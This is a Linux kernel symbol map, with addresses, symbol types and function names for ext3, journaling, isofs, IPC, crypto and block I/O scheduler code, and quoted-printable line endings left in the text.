101d7e00 T ext3_count_free_inodes=0A=
101d7e80 T ext3_count_dirs=0A=
101d7efc T ext3_forget=0A=
101d8014 t blocks_for_truncate=0A=
101d8044 t start_transaction=0A=
101d80a0 t try_to_extend_transaction=0A=
101d80e4 t ext3_journal_test_restart=0A=
101d8110 t ext3_alloc_block=0A=
101d8128 t ext3_block_to_path=0A=
101d8278 t ext3_get_branch=0A=
101d8398 t walk_page_buffers=0A=
101d8478 t do_journal_get_write_access=0A=
101d84ec t ext3_writepage_trans_blocks=0A=
101d8574 t ext3_prepare_write=0A=
101d8720 T ext3_journal_dirty_data=0A=
101d8778 t commit_write_fn=0A=
101d8800 t ext3_ordered_commit_write=0A=
101d8934 t ext3_writeback_commit_write=0A=
101d8a0c t ext3_bmap=0A=
101d8ab4 t bget_one=0A=
101d8ad4 t bput_one=0A=
101d8af4 t journal_dirty_data_fn=0A=
101d8b20 t ext3_ordered_writepage=0A=
101d8d10 t ext3_writeback_writepage=0A=
101d8e04 t ext3_journalled_writepage=0A=
101d8ff0 t ext3_readpage=0A=
101d9014 t ext3_readpages=0A=
101d9040 t ext3_invalidatepage=0A=
101d908c t ext3_releasepage=0A=
101d912c t ext3_journalled_set_page_dirty=0A=
101d9158 T ext3_set_aops=0A=
101d9204 t __ext3_get_inode_loc=0A=
101d95dc T ext3_get_inode_loc=0A=
101d9604 T ext3_set_inode_flags=0A=
101d9668 T ext3_read_inode=0A=
101d9acc T ext3_write_inode=0A=
101d9b2c T ext3_mark_iloc_dirty=0A=
101d9ff4 T ext3_reserve_inode_write=0A=
101da0b4 T ext3_mark_inode_dirty=0A=
101da100 T ext3_setattr=0A=
101da2c4 t ext3_get_block_handle=0A=
101dab3c t ext3_get_block=0A=
101dabe8 t ext3_direct_io_get_blocks=0A=
101dacd4 T ext3_getblk=0A=
101daf84 T ext3_bread=0A=
101db02c t ext3_clear_blocks=0A=
101db17c t ext3_free_data=0A=
101db2e0 t ext3_free_branches=0A=
101db50c T ext3_truncate=0A=
101dbe08 t ext3_direct_IO=0A=
101dc020 t ext3_journalled_commit_write=0A=
101dc1a0 T ext3_delete_inode=0A=
101dc2b4 T ext3_dirty_inode=0A=
101dc35c T ext3_change_inode_journal_flag=0A=
101dc454 T ext3_ioctl=0A=
101dcb58 t ext3_append=0A=
101dcc28 t dx_probe=0A=
101dcf6c t dx_release=0A=
101dcfbc t ext3_htree_next_block=0A=
101dd0e8 t htree_dirblock_to_tree=0A=
101dd210 T ext3_htree_fill_tree=0A=
101dd418 t dx_insert_block=0A=
101dd568 t ext3_update_dx_flag=0A=
101dd590 t ext3_find_entry=0A=
101ddabc t ext3_lookup=0A=
101ddb9c T ext3_get_parent=0A=
101ddc6c t do_split=0A=
101de154 t add_dirent_to_buf=0A=
101de47c t ext3_add_entry=0A=
101ded24 t ext3_delete_entry=0A=
101dee8c t ext3_add_nondir=0A=
101def00 t ext3_create=0A=
101df02c t ext3_mknod=0A=
101df154 t ext3_mkdir=0A=
101df4b0 t empty_dir=0A=
101df770 T ext3_orphan_add=0A=
101dfa18 T ext3_orphan_del=0A=
101dfcdc t ext3_rmdir=0A=
101dfea4 t ext3_unlink=0A=
101e0058 t ext3_symlink=0A=
101e0230 t ext3_link=0A=
101e0374 t ext3_rename=0A=
101e08c8 T ext3_abort=0A=
101e09b0 T ext3_journal_start_sb=0A=
101e0a0c t ext3_decode_error=0A=
101e0ab4 T ext3_journal_abort_handle=0A=
101e0b54 T ext3_warning=0A=
101e0bb0 T ext3_update_dynamic_rev=0A=
101e0c14 t ext3_blkdev_put=0A=
101e0c38 t ext3_blkdev_remove=0A=
101e0c68 t ext3_alloc_inode=0A=
101e0ca8 t ext3_destroy_inode=0A=
101e0ccc t ext3_clear_inode=0A=
101e0d00 t ext3_show_options=0A=
101e0d64 t parse_options=0A=
101e1190 t ext3_init_journal_params=0A=
101e11cc t ext3_get_journal=0A=
101e12d4 t ext3_commit_super=0A=
101e1384 t ext3_put_super=0A=
101e1580 t ext3_setup_super=0A=
101e1798 t ext3_handle_error=0A=
101e185c T __ext3_std_error=0A=
101e18dc T __ext3_journal_stop=0A=
101e193c T ext3_error=0A=
101e19a4 t ext3_mark_recovery_complete=0A=
101e1a2c t ext3_clear_journal_err=0A=
101e1af0 t ext3_fill_super=0A=
101e2f38 T ext3_force_commit=0A=
101e2f6c t ext3_write_super=0A=
101e2fcc t ext3_sync_fs=0A=
101e3030 t ext3_write_super_lockfs=0A=
101e30a8 t ext3_unlockfs=0A=
101e31ac t ext3_remount=0A=
101e33d4 t ext3_statfs=0A=
101e3538 t ext3_get_sb=0A=
101e355c t ext3_follow_link=0A=
101e3578 t str2hashbuf=0A=
101e3610 T ext3fs_dirhash=0A=
101e3884 t bclean=0A=
101e3970 t mark_bitmap_end=0A=
101e39f4 t ext3_list_backups=0A=
101e3a5c t verify_reserved_gdb=0A=
101e3b54 t reserve_backup_gdb=0A=
101e3e70 t update_backups=0A=
101e410c T ext3_group_add=0A=
101e53ac T ext3_group_extend=0A=
101e57d4 t start_this_handle=0A=
101e5bdc T journal_start=0A=
101e5d24 T journal_extend=0A=
101e5dcc T journal_restart=0A=
101e5f24 T journal_lock_updates=0A=
101e6024 T journal_unlock_updates=0A=
101e60e8 T journal_release_buffer=0A=
101e60ec T journal_stop=0A=
101e62fc T journal_force_commit=0A=
101e6344 T __journal_temp_unlink_buffer=0A=
101e64f8 T __journal_file_buffer=0A=
101e679c T journal_dirty_metadata=0A=
101e6988 t do_get_write_access=0A=
101e6e88 T journal_get_undo_access=0A=
101e6f64 T journal_get_write_access=0A=
101e6fb0 T journal_get_create_access=0A=
101e7154 T __journal_unfile_buffer=0A=
101e7174 T journal_forget=0A=
101e73ac T journal_dirty_data=0A=
101e7590 T journal_unfile_buffer=0A=
101e75ac T journal_try_to_free_buffers=0A=
101e7720 t __dispose_buffer=0A=
101e77a8 T journal_invalidatepage=0A=
101e7b08 T journal_file_buffer=0A=
101e7b20 T __journal_refile_buffer=0A=
101e7c28 T journal_refile_buffer=0A=
101e7c58 t journal_end_buffer_io_sync=0A=
101e7ca4 t inverted_lock=0A=
101e7cb4 T journal_commit_transaction=0A=
101e8d20 T journal_brelse_array=0A=
101e8d60 t jread=0A=
101e8f68 t do_one_pass=0A=
101e93f4 T journal_skip_recovery=0A=
101e9478 T journal_recover=0A=
101e9534 t jbd_sync_bh=0A=
101e9568 t __flush_batch=0A=
101e95e0 T cleanup_journal_tail=0A=
101e96d8 T __journal_drop_transaction=0A=
101e99f0 T __journal_remove_checkpoint=0A=
101e9a84 t __try_to_free_cp_buf=0A=
101e9adc T __journal_clean_checkpoint_list=0A=
101e9b80 T log_do_checkpoint=0A=
101e9f0c T __log_wait_for_space=0A=
101e9fe4 T __journal_insert_checkpoint=0A=
101ea0d4 t insert_revoke_hash=0A=
101ea18c t find_revoke_record=0A=
101ea1f0 T journal_destroy_revoke_caches=0A=
101ea234 T journal_init_revoke=0A=
101ea4e8 T journal_destroy_revoke=0A=
101ea63c T journal_revoke=0A=
101ea7bc T journal_cancel_revoke=0A=
101ea8d4 T journal_switch_revoke_table=0A=
101ea938 t flush_descriptor=0A=
101ea9c4 T journal_write_revoke_records=0A=
101eab50 T journal_set_revoke=0A=
101eabc4 T journal_test_revoke=0A=
101eabfc T journal_clear_revoke=0A=
101eac9c t commit_timeout=0A=
101eacb4 t kjournald=0A=
101eaeb8 T __jbd_kmalloc=0A=
101eaee4 T __log_space_left=0A=
101eaf00 T __log_start_commit=0A=
101eaf48 T log_start_commit=0A=
101eaf60 T log_wait_commit=0A=
101eb094 T journal_force_commit_nested=0A=
101eb104 T journal_start_commit=0A=
101eb18c t journal_init_common=0A=
101eb2e0 T journal_init_dev=0A=
101eb410 t journal_fail_superblock=0A=
101eb440 T journal_update_superblock=0A=
101eb4fc t journal_reset=0A=
101eb62c t journal_get_superblock=0A=
101eb79c t load_superblock=0A=
101eb7f0 T journal_load=0A=
101eb888 T journal_destroy=0A=
101ebaec T journal_check_used_features=0A=
101ebb3c T journal_check_available_features=0A=
101ebb70 T journal_set_features=0A=
101ebc04 T journal_update_format=0A=
101ebca0 T journal_flush=0A=
101ebe9c T journal_wipe=0A=
101ebf7c T __journal_abort_hard=0A=
101ebff4 t __journal_abort_soft=0A=
101ec050 T journal_bmap=0A=
101ec0fc T journal_create=0A=
101ec2a0 T journal_init_inode=0A=
101ec3f0 T journal_next_log_block=0A=
101ec490 T journal_abort=0A=
101ec4a8 T journal_errno=0A=
101ec4bc T journal_clear_err=0A=
101ec4d8 T journal_ack_err=0A=
101ec4f0 T journal_blocks_per_page=0A=
101ec508 t journal_free_journal_head=0A=
101ec52c T journal_add_journal_head=0A=
101ec6d4 T journal_get_descriptor_buffer=0A=
101ec78c T journal_write_metadata_buffer=0A=
101eca60 T journal_grab_journal_head=0A=
101eca80 t __journal_remove_journal_head=0A=
101ecc7c T journal_remove_journal_head=0A=
101ecc94 T journal_put_journal_head=0A=
101ecd34 t journal_destroy_caches=0A=
101ecddc T ramfs_get_inode=0A=
101ecf18 t ramfs_mknod=0A=
101ecff8 t ramfs_mkdir=0A=
101ed030 t ramfs_create=0A=
101ed050 t ramfs_symlink=0A=
101ed154 t ramfs_fill_super=0A=
101ed1f4 T ramfs_get_sb=0A=
101ed218 t rootfs_get_sb=0A=
101ed240 T isofs_lookup=0A=
101ed66c t isofs_put_super=0A=
101ed6b4 t isofs_alloc_inode=0A=
101ed6e8 t isofs_destroy_inode=0A=
101ed70c t isofs_remount=0A=
101ed720 t isofs_hash_common=0A=
101ed7a0 t isofs_hashi_common=0A=
101ed848 t isofs_dentry_cmpi_common=0A=
101ed8d8 t isofs_dentry_cmp_common=0A=
101ed968 t isofs_hash=0A=
101ed984 t isofs_hashi=0A=
101ed9a0 t isofs_dentry_cmp=0A=
101ed9bc t isofs_dentry_cmpi=0A=
101ed9d8 t isofs_hash_ms=0A=
101ed9f4 t isofs_hashi_ms=0A=
101eda10 t isofs_dentry_cmp_ms=0A=
101eda2c t isofs_dentry_cmpi_ms=0A=
101eda48 t isofs_statfs=0A=
101edaa4 t isofs_readpage=0A=
101edac8 t _isofs_bmap=0A=
101edae8 t isofs_read_inode=0A=
101ee154 t isofs_iget5_test=0A=
101ee17c t isofs_iget5_set=0A=
101ee194 T isofs_iget=0A=
101ee234 t isofs_fill_super=0A=
101eec58 T isofs_get_blocks=0A=
101eee84 t isofs_get_block=0A=
101eeec8 T isofs_bread=0A=
101eef20 t isofs_get_sb=0A=
101eef44 T isofs_name_translate=0A=
101ef000 T get_acorn_filename=0A=
101ef110 t isofs_readdir=0A=
101ef5b0 T iso_date=0A=
101ef724 t check_sp=0A=
101ef758 t setup_rock_ridge=0A=
101ef7c8 t init_rock_state=0A=
101ef7fc t rock_continue=0A=
101ef928 t rock_check_overflow=0A=
101efa30 T get_rock_ridge_filename=0A=
101efd18 t parse_rock_ridge_inode_internal=0A=
101f04e4 T parse_rock_ridge_inode=0A=
101f053c t rock_ridge_symlink_readpage=0A=
101f09a8 t isofs_export_get_dentry=0A=
101f0a3c t isofs_export_get_parent=0A=
101f0b84 t isofs_export_encode_fh=0A=
101f0c1c t isofs_export_decode_fh=0A=
101f0cc0 T get_joliet_filename=0A=
101f0e80 T utf8_mbtowc=0A=
101f0f18 T utf8_mbstowcs=0A=
101f0fd0 T utf8_wctomb=0A=
101f1074 T utf8_wcstombs=0A=
101f111c T register_nls=0A=
101f1178 T unregister_nls=0A=
101f11b0 t find_nls=0A=
101f1248 T load_nls=0A=
101f12a8 T unload_nls=0A=
101f12f4 t uni2char=0A=
101f1330 t char2uni=0A=
101f1354 T load_nls_default=0A=
101f1388 T ipc_findkey=0A=
101f13c4 T ipc_rmid=0A=
101f1480 T ipc_alloc=0A=
101f14b8 T ipc_free=0A=
101f14e4 T ipc_rcu_alloc=0A=
101f154c T ipc_rcu_getref=0A=
101f155c t ipc_schedule_free=0A=
101f15a8 t ipc_immediate_free=0A=
101f15c0 T ipc_rcu_putref=0A=
101f1614 T ipc_addid=0A=
101f1780 T ipcperms=0A=
101f184c T kernel_to_ipc64_perm=0A=
101f1888 T ipc64_perm_to_ipc_perm=0A=
101f18c4 T ipc_get=0A=
101f18f8 T ipc_lock=0A=
101f1944 T ipc_lock_by_ptr=0A=
101f1948 T ipc_unlock=0A=
101f194c T ipc_buildid=0A=
101f1958 T ipc_checkid=0A=
101f197c t sysvipc_proc_next=0A=
101f1a10 t sysvipc_proc_start=0A=
101f1b00 t sysvipc_proc_stop=0A=
101f1b44 t sysvipc_proc_show=0A=
101f1b7c t sysvipc_proc_open=0A=
101f1bc8 T free_msg=0A=
101f1c0c T load_msg=0A=
101f1d10 T store_msg=0A=
101f1db8 t newque=0A=
101f1eb4 t ss_wakeup=0A=
101f1f04 t expunge_all=0A=
101f1f60 T sys_msgget=0A=
101f20cc T sys_msgctl=0A=
101f2648 t testmsg=0A=
101f26b4 T sys_msgsnd=0A=
101f2a10 T sys_msgrcv=0A=
101f2d70 t sysvipc_msg_proc_show=0A=
101f2dfc t newary=0A=
101f2f28 T sys_semget=0A=
101f30cc t try_atomic_semop=0A=
101f3240 t update_queue=0A=
101f32fc t copy_semid_to_user=0A=
101f3378 T sys_semctl=0A=
101f3c74 t lookup_undo=0A=
101f3cd0 T sys_semtimedop=0A=
101f4310 T sys_semop=0A=
101f432c T copy_semundo=0A=
101f43e0 T exit_sem=0A=
101f459c t sysvipc_sem_proc_show=0A=
101f4608 t shm_open=0A=
101f4698 t shm_destroy=0A=
101f4708 t shm_close=0A=
101f481c t shm_mmap=0A=
101f48dc t newseg=0A=
101f4acc T sys_shmget=0A=
101f4c5c T sys_shmctl=0A=
101f5328 T do_shmat=0A=
101f55f0 T sys_shmat=0A=
101f5614 T sys_shmdt=0A=
101f5750 t sysvipc_shm_proc_show=0A=
101f57dc t mqueue_get_inode=0A=
101f59e0 t mqueue_fill_super=0A=
101f5a64 t mqueue_get_sb=0A=
101f5a88 t init_once=0A=
101f5ab4 t mqueue_alloc_inode=0A=
101f5ad8 t mqueue_destroy_inode=0A=
101f5afc t mqueue_delete_inode=0A=
101f5bc4 t mqueue_create=0A=
101f5d0c t mqueue_unlink=0A=
101f5d88 t mqueue_read_file=0A=
101f5ef4 t mqueue_poll_file=0A=
101f5f60 t wq_sleep=0A=
101f60d0 t wq_get_first_waiter=0A=
101f60f0 t msg_insert=0A=
101f614c t remove_notification=0A=
101f6194 t mqueue_flush_file=0A=
101f61d4 t prepare_timeout=0A=
101f6318 t do_open=0A=
101f63d8 T sys_mq_open=0A=
101f6708 T sys_mq_unlink=0A=
101f685c T sys_mq_timedsend=0A=
101f6ae8 T sys_mq_timedreceive=0A=
101f6d0c T sys_mq_notify=0A=
101f6fc4 T sys_mq_getsetattr=0A=
101f7110 T cap_ptrace=0A=
101f715c T cap_capget=0A=
101f717c T cap_capset_check=0A=
101f71d8 T cap_capset_set=0A=
101f71f4 T cap_syslog=0A=
101f7240 T cap_settime=0A=
101f7270 T cap_bprm_apply_creds=0A=
101f7418 T cap_bprm_set_security=0A=
101f746c T cap_bprm_secureexec=0A=
101f74b0 T cap_task_reparent_to_init=0A=
101f74d4 T cap_netlink_send=0A=
101f74ec T cap_netlink_recv=0A=
101f7500 T cap_capable=0A=
101f751c T cap_inode_removexattr=0A=
101f7578 T cap_inode_setxattr=0A=
101f75d4 T cap_task_post_setuid=0A=
101f7760 T cap_vm_enough_memory=0A=
101f7798 t crypto_alg_lookup=0A=
101f786c t crypto_exit_ops=0A=
101f78f0 T crypto_alloc_tfm=0A=
101f7af8 T crypto_free_tfm=0A=
101f7b90 T crypto_register_alg=0A=
101f7c84 T crypto_unregister_alg=0A=
101f7d64 T crypto_alg_available=0A=
101f7de0 t memcpy_dir=0A=
101f7e08 T scatterwalk_start=0A=
101f7e88 T scatterwalk_map=0A=
101f7eb8 t scatterwalk_pagedone=0A=
101f7f44 T scatterwalk_done=0A=
101f7f78 T scatterwalk_copychunks=0A=
101f8018 t xor_64=0A=
101f803c t xor_128=0A=
101f8080 t crypt=0A=
101f83f0 t crypt_iv_unaligned=0A=
101f84f0 t cbc_process_encrypt=0A=
101f85c0 t cbc_process_decrypt=0A=
101f8708 t ecb_process=0A=
101f8798 t setkey=0A=
101f87f0 t setkey=0A=
101f882c t ecb_encrypt=0A=
101f8874 t ecb_decrypt=0A=
101f88bc t cbc_encrypt=0A=
101f8910 t cbc_encrypt_iv=0A=
101f8960 t cbc_decrypt=0A=
101f89b4 t cbc_decrypt_iv=0A=
101f8a04 t nocrypt=0A=
101f8a0c t nocrypt_iv=0A=
101f8a14 T crypto_init_cipher_flags=0A=
101f8a2c T crypto_init_cipher_ops=0A=
101f8bd0 T crypto_exit_cipher_ops=0A=
101f8bd4 t init=0A=
101f8c00 t update=0A=
101f8cd8 t final=0A=
101f8d04 t digest=0A=
101f8e18 T crypto_init_digest_flags=0A=
101f8e24 T crypto_init_digest_ops=0A=
101f8e7c T crypto_exit_digest_ops=0A=
101f8e94 t crypto_compress=0A=
101f8ec8 t crypto_decompress=0A=
101f8efc T crypto_init_compress_flags=0A=
101f8f08 T crypto_init_compress_ops=0A=
101f8f5c T crypto_exit_compress_ops=0A=
101f8f88 t c_start=0A=
101f8ffc t c_next=0A=
101f902c t c_stop=0A=
101f904c t c_show=0A=
101f917c t crypto_info_open=0A=
101f91a0 t hash_key=0A=
101f9234 T crypto_alloc_hmac_block=0A=
101f92a0 T crypto_free_hmac_block=0A=
101f92bc T crypto_hmac_init=0A=
101f942c T crypto_hmac_update=0A=
101f9484 T crypto_hmac_final=0A=
101f96a8 T crypto_hmac=0A=
101f9724 t md4_transform=0A=
101f9dc0 t md4_init=0A=
101f9e04 t md4_update=0A=
101f9f24 t md4_final=0A=
101fa064 t md5_transform=0A=
101fab20 t md5_init=0A=
101fab64 t md5_update=0A=
101fac84 t md5_final=0A=
101fadc4 t chksum_init=0A=
101fadd0 t chksum_setkey=0A=
101fae04 t chksum_update=0A=
101fae28 t chksum_final=0A=
101fae44 T elv_dequeue_request=0A=
101faebc T elv_rq_merge_ok=0A=
101faf18 T elv_try_merge=0A=
101faf90 t elevator_find=0A=
101fb018 t elevator_put=0A=
101fb064 t elevator_get=0A=
101fb0bc t elevator_attach=0A=
101fb12c T elevator_init=0A=
101fb234 T elevator_exit=0A=
101fb278 T elv_dispatch_sort=0A=
101fb308 T elv_merge=0A=
101fb3b8 T elv_merged_request=0A=
101fb3f8 T elv_merge_requests=0A=
101fb444 t elv_drain_elevator=0A=
101fb4c8 T __elv_add_request=0A=
101fb6cc T elv_requeue_request=0A=
101fb764 T elv_add_request=0A=
101fb788 T elv_next_request=0A=
101fb93c T elv_queue_empty=0A=
101fb978 T elv_latter_request=0A=
101fb9a8 T elv_former_request=0A=
101fb9d8 T elv_set_request=0A=
101fba14 T elv_put_request=0A=
101fba40 T elv_may_queue=0A=
101fba70 T elv_completed_request=0A=
101fbac0 T elv_register_queue=0A=
101fbb28 T elv_unregister_queue=0A=
101fbb5c T elv_register=0A=
101fbc1c T elv_unregister=0A=
101fbd1c T elv_iosched_store=0A=
101fbeec T elv_iosched_show=0A=
101fbfd0 t blk_queue_congestion_threshold=0A=
101fc004 t clear_queue_congested=0A=
101fc070 t set_queue_congested=0A=
101fc098 T blk_get_backing_dev_info=0A=
101fc0b0 T blk_queue_activity_fn=0A=
101fc0bc T blk_queue_prep_rq=0A=
101fc0c4 T blk_queue_merge_bvec=0A=
101fc0cc T blk_queue_max_phys_segments=0A=
101fc114 T blk_queue_max_hw_segments=0A=
101fc15c T blk_queue_max_sectors=0A=
101fc1b0 T blk_queue_hardsect_size=0A=
101fc1b8 T blk_queue_dma_alignment=0A=
101fc1c0 T blk_queue_ordered=0A=
101fc260 T blk_queue_issue_flush_fn=0A=
101fc268 t blk_pre_flush_end_io=0A=
101fc30c t blk_post_flush_end_io=0A=
101fc38c T blk_start_pre_flush=0A=
101fc4fc t __blk_complete_barrier_rq=0A=
101fc680 T blk_complete_barrier_rq=0A=
101fc69c T blk_complete_barrier_rq_locked=0A=
101fc6b8 T blk_queue_bounce_limit=0A=
101fc740 T blk_queue_make_request=0A=
101fc840 T blk_queue_max_segment_size=0A=
101fc88c T blk_queue_stack_limits=0A=
101fc924 T blk_queue_segment_boundary=0A=
101fc970 T blk_queue_find_tag=0A=
101fc990 T blk_queue_free_tags=0A=
101fc9a8 t init_tag_map=0A=
101fca94 T blk_queue_resize_tags=0A=
101fcb4c T blk_queue_init_tags=0A=
101fcc94 T blk_queue_end_tag=0A=
101fcdb4 T blk_queue_start_tag=0A=
101fcf64 T blk_queue_invalidate_tags=0A=
101fd024 T blk_dump_rq_flags=0A=
101fd148 T blk_recount_segments=0A=
101fd39c t blk_phys_contig_segment=0A=
101fd450 t blk_hw_contig_segment=0A=
101fd568 T blk_rq_map_sg=0A=
101fd6ec t ll_back_merge_fn=0A=
101fd8d4 t ll_front_merge_fn=0A=
101fdabc t ll_merge_requests_fn=0A=
101fdbd8 T blk_plug_device=0A=
101fdc74 T blk_remove_plug=0A=
101fdcf8 T __generic_unplug_device=0A=
101fdd38 T generic_unplug_device=0A=
101fdd5c t blk_backing_dev_unplug=0A=
101fdd8c t blk_unplug_work=0A=
101fddac T blk_stop_queue=0A=
101fdddc T blk_run_queue=0A=
101fde28 T blk_alloc_queue_node=0A=
101fde98 T blk_alloc_queue=0A=
101fdeb4 T blk_get_queue=0A=
101fdee0 t ioc_set_batching=0A=
101fdf28 t __freed_request=0A=
101fdfc4 t freed_request=0A=
101fe048 T current_io_context=0A=
101fe0c8 t get_request=0A=
101fe380 t get_request_wait=0A=
101fe4b4 T blk_get_request=0A=
101fe528 T blk_requeue_request=0A=
101fe568 T blk_rq_bio_prep=0A=
101fe640 T blk_rq_map_user=0A=
101fe734 T blk_rq_map_user_iov=0A=
101fe7c8 T blk_rq_unmap_user=0A=
101fe804 T blk_rq_map_kern=0A=
101fe8b8 T blk_execute_rq_nowait=0A=
101fe90c T blk_execute_rq=0A=
101fe9f8 T blkdev_issue_flush=0A=
101fea44 T disk_round_stats=0A=
101fea90 t drive_stat_acct=0A=
101feaf0 T blk_insert_request=0A=
101feba8 t __blk_put_request=0A=
101fec9c T blk_put_request=0A=
101fecd0 T blk_end_sync_rq=0A=
101fed04 T blk_congestion_wait=0A=
101fedc4 t attempt_merge=0A=
101fef58 T blk_attempt_remerge=0A=
101fefa4 t __make_request=0A=
101ff4cc T generic_make_request=0A=
101ff6b8 T submit_bio=0A=
101ff7d4 t __end_that_request_first=0A=
101ffbe4 T end_that_request_first=0A=
101ffc00 T end_that_request_chunk=0A=
101ffc18 T end_that_request_last=0A=
101ffcd8 T end_request=0A=
101ffd20 T kblockd_schedule_work=0A=
101ffd44 T blk_start_queue=0A=
101ffdd0 t blk_unplug_timeout=0A=
101ffdec T kblockd_flush=0A=
101ffe0c T blk_sync_queue=0A=
101ffe2c T blk_cleanup_queue=0A=
101fff58 T blk_init_queue_node=0A=
102000e0 T blk_init_queue=0A=
102000fc T put_io_context=0A=
102001b4 T exit_io_context=0A=
1020023c T get_io_context=0A=
10200274 T copy_io_context=0A=
102002f8 T swap_io_context=0A=
1020030c t queue_var_show=0A=
10200334 t queue_var_store=0A=
1020037c t queue_requests_show=0A=
10200398 t queue_requests_store=0A=
10200500 t queue_ra_show=0A=
10200520 t queue_ra_store=0A=
10200570 t queue_max_sectors_show=0A=
10200590 t queue_max_sectors_store=0A=
1020060c t queue_max_hw_sectors_show=0A=
1020062c t queue_attr_show=0A=
10200660 t queue_attr_store=0A=
10200698 T blk_register_queue=0A=
10200748 T blk_unregister_queue=0A=
102007a0 t put_int=0A=
102007d0 t blkdev_driver_ioctl=0A=
10200834 T blkdev_ioctl=0A=
102010b8 T compat_blkdev_ioctl=0A=
102010f4 T get_blkdev_list=0A=
10201228 T register_blkdev=0A=
102013b8 T unregister_blkdev=0A=
102014d4 T blk_register_region=0A=
10201518 T blk_unregister_region=0A=
10201540 t exact_match=0A=
10201548 T get_disk=0A=
102015dc t exact_lock=0A=
10201600 T add_disk=0A=
10201668 T unlink_gendisk=0A=
1020169c T get_gendisk=0A=
102016d4 t part_start=0A=
10201770 t part_next=0A=
102017a4 t part_stop=0A=
102017e4 t show_partition=0A=
10201944 t base_probe=0A=
10201988 t disk_attr_show=0A=
102019bc t disk_attr_store=0A=
102019f4 t disk_uevent_store=0A=
10201a1c t disk_dev_read=0A=
10201a5c t disk_range_read=0A=
10201a84 t disk_removable_read=0A=
10201ab0 t disk_size_read=0A=
10201ae0 t disk_stats_read=0A=
10201b78 t disk_release=0A=
10201ba8 t block_hotplug_filter=0A=
10201be4 t block_hotplug=0A=
10201df8 t diskstats_start=0A=
10201e94 t diskstats_next=0A=
10201ec8 t diskstats_stop=0A=
10201f08 t diskstats_show=0A=
10202078 T alloc_disk_node=0A=
10202130 T alloc_disk=0A=
1020214c T put_disk=0A=
10202174 T set_device_ro=0A=
10202194 T set_disk_ro=0A=
102021d0 T bdev_read_only=0A=
102021f8 T invalidate_partition=0A=
10202258 t verify_command=0A=
102022f8 t sg_io=0A=
10202634 t __blk_send_generic=0A=
102026ec T scsi_cmd_ioctl=0A=
10202da0 t noop_merged_requests=0A=
10202dbc t noop_dispatch=0A=
10202e08 t noop_add_request=0A=
10202e28 t noop_queue_empty=0A=
10202e40 t noop_former_request=0A=
10202e5c t noop_latter_request=0A=
10202e78 t noop_init_queue=0A=
10202ebc t noop_exit_queue=0A=
10202f0c t free_as_io_context=0A=
10202f24 t exit_as_io_context=0A=
10202f84 t as_get_io_context=0A=
10203040 t as_put_io_context=0A=
102030ac t as_add_arq_hash=0A=
10203158 t as_add_arq_rb=0A=
102031e0 t as_choose_req=0A=
10203308 t as_find_next_arq=0A=
102033d0 t as_antic_waitnext=0A=
10203438 t as_antic_stop=0A=
10203484 t as_antic_timeout=0A=
1020351c t as_update_iohist=0A=
102037a4 t as_can_break_anticipation=0A=
102039e8 t as_completed_request=0A=
10203be0 t as_remove_queued_request=0A=
10203d64 t as_fifo_expired=0A=
10203dc4 t as_move_to_dispatch=0A=
10204030 t as_dispatch_request=0A=
10204404 t as_add_request=0A=
1020464c t as_activate_request=0A=
102046cc t as_deactivate_request=0A=
1020474c t as_queue_empty=0A=
10204778 t as_former_request=0A=
102047a4 t as_latter_request=0A=
102047d0 t as_merge=0A=
10204a54 t as_merged_request=0A=
10204c64 t as_merged_requests=0A=
10204fc0 t as_work_handler=0A=
10205004 t as_put_request=0A=
102050e0 t as_set_request=0A=
1020516c t as_may_queue=0A=
102051c0 t as_exit_queue=0A=
10205250 t as_init_queue=0A=
10205414 t as_var_show=0A=
1020543c t as_var_store=0A=
10205484 t as_est_show=0A=
1020552c t as_readexpire_show=0A=
10205548 t as_writeexpire_show=0A=
10205564 t as_anticexpire_show=0A=
10205580 t as_read_batchexpire_show=0A=
1020559c t as_write_batchexpire_show=0A=
102055b8 t as_readexpire_store=0A=
102055fc t as_writeexpire_store=0A=
10205640 t as_anticexpire_store=0A=
10205684 t as_read_batchexpire_store=0A=
102056c8 t as_write_batchexpire_store=0A=
1020570c t as_attr_show=0A=
10205744 t as_attr_store=0A=
10205780 t deadline_remove_request=0A=
10205870 t deadline_merge=0A=
10205aac t deadline_move_request=0A=
10205b6c t deadline_add_drq_rb=0A=
10205c20 t deadline_add_request=0A=
10205d5c t deadline_merged_requests=0A=
10205f48 t deadline_merged_request=0A=
102060b0 t deadline_dispatch_requests=0A=
10206218 t deadline_queue_empty=0A=
10206244 t deadline_former_request=0A=
10206270 t deadline_latter_request=0A=
1020629c t deadline_exit_queue=0A=
10206314 t deadline_init_queue=0A=
10206478 t deadline_put_request=0A=
102064a8 t deadline_set_request=0A=
10206528 t deadline_var_show=0A=
10206550 t deadline_var_store=0A=
10206598 t deadline_readexpire_show=0A=
102065b4 t deadline_writeexpire_show=0A=
102065d0 t deadline_writesstarved_show=0A=
102065ec t deadline_frontmerges_show=0A=
10206608 t deadline_fifobatch_show=0A=
10206624 t deadline_readexpire_store=0A=
1020666c t deadline_writeexpire_store=0A=
102066b4 t deadline_writesstarved_store=0A=
102066e4 t deadline_frontmerges_store=0A=
10206738 t deadline_fifobatch_store=0A=
10206774 t deadline_attr_show=0A=
102067ac t deadline_attr_store=0A=
102067e8 t cfq_queue_empty=0A=
10206800 t cfq_choose_req=0A=
10206958 t cfq_find_next_crq=0A=
102069c8 t cfq_update_next_crq=0A=
102069fc t cfq_resort_rr_list=0A=
10206b04 t cfq_activate_request=0A=
10206b1c t cfq_deactivate_request=0A=
10206b78 t cfq_remove_request=0A=
10206ca8 t __cfq_slice_expired=0A=
10206d74 t cfq_dispatch_insert=0A=
10206de8 t cfq_add_crq_rb=0A=
10206ef0 t cfq_merged_request=0A=
10206fe8 t cfq_merged_requests=0A=
1020705c t cfq_forced_dispatch_cfqqs=0A=
10207118 t cfq_dispatch_requests=0A=
102076c4 t cfq_find_cfq_hash=0A=
10207748 t cfq_merge=0A=
102078b4 t cfq_free_io_context=0A=
10207908 t cfq_alloc_io_context=0A=
1020796c t cfq_init_prio_data=0A=
10207ad0 t cfq_ioc_set_ioprio=0A=
10207b14 t cfq_start_queueing=0A=
10207b54 t cfq_insert_request=0A=
10207ee4 t cfq_completed_request=0A=
10208028 t cfq_former_request=0A=
10208054 t cfq_latter_request=0A=
10208080 t cfq_may_queue=0A=
10208178 t cfq_kick_queue=0A=
10208208 t cfq_idle_slice_timer=0A=
10208310 t cfq_idle_class_timer=0A=
102083b4 t cfq_shutdown_timer_wq=0A=
102083e4 t cfq_put_cfqd=0A=
10208460 t cfq_put_queue=0A=
102085a4 t cfq_put_request=0A=
102086f4 t cfq_set_request=0A=
